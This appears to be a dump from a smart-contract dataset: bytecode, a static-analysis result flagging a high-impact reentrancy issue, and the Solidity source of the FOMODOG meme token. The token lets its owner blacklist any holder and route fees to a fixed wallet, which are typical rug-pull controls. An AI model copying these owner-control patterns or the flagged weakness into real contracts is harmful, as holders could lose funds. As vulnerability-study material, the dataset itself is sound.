20152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb1565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a23565b50600061121f8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce0565b816001815181106113cd576113cd611c6a565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611732565b6001600160a01b0389166000908152600260205260409020556115c581611791565b6115cf84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164182826114c0565b82101561165c5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106269190611a23565b50600061121f8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149d565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b60008061173f8385611cb1565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179b61149d565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114c0565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106ac565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112df81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112df82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112df81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2cde587397a31c72aa6c046ad03e71f34db1c1d1f253bd4d14c7729a7b76f6f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,111
0xcf3a19d6e249c15bf78b24bed148da1af13d0b79
/** 💙$FOMODOG TOKEN🐶 ❤️‍🔥Website : https://fomodog.co/ 🐶Telegram : https://t.me/FOMODOG_Token Total supply: 2,000,000,000 Low Tax : 4% */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FOMODOG is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "FOMODOG"; string private constant _symbol = "FOMODOG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xF6c00Fc7217BC42e5dF2c54dcd536D351ecb515D); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 4; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e29565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612930565b6104b4565b60405161018e9190612e0e565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612970565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128dd565b61060c565b60405161021f9190612e0e565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612843565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613040565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129b9565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a13565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612843565b6109db565b6040516103199190612fcb565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d40565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e29565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612930565b610c9a565b6040516103da9190612e0e565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a13565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289d565b6113c1565b60405161046e9190612fcb565b60405180910390f35b60606040518060400160405280600781526020017f464f4d4f444f4700000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611448565b8484611450565b6001905092915050565b6000671bc16d674ec80000905090565b6104ea611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0b565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b613388565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e1565b91505061057a565b5050565b600061061984848461161b565b6106da84610625611448565b6106d58560405180606001604052806028815260200161374760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b611448565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cae9092919063ffffffff16565b611450565b600190509392505050565b6106ed611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e6611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0b565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610898611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0b565b60405180910390fd5b6000811161093257600080fd5b610960606461095283671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa611448565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd7565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e43565b9050919050565b610a34611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b87611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0b565b60405180910390fd5b671bc16d674ec80000600f81905550671bc16d674ec80000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f464f4d4f444f4700000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca7611448565b848461161b565b6001905092915050565b610cc0611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0b565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb1565b50565b610e13611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0b565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fab565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16671bc16d674ec80000611450565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612870565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612870565b6040518363ffffffff1660e01b81526004016110b4929190612d5b565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612870565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612dad565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a40565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127660646112686001671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f819055506112ab606461129d6003671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136b929190612d84565b602060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd91906129e6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612eab565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160e9190612fcb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290612f4b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290612e4b565b60405180910390fd5b6000811161173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590612f2b565b60405180910390fd5b6000600a819055506004600b81905550611756610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c45750611794610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119215750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119775750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561198f5750600e60179054906101000a900460ff165b15611acd57600f548111156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090612e6b565b60405180910390fd5b601054816119e6846109db565b6119f09190613101565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612f6b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b601e42611a89919061310156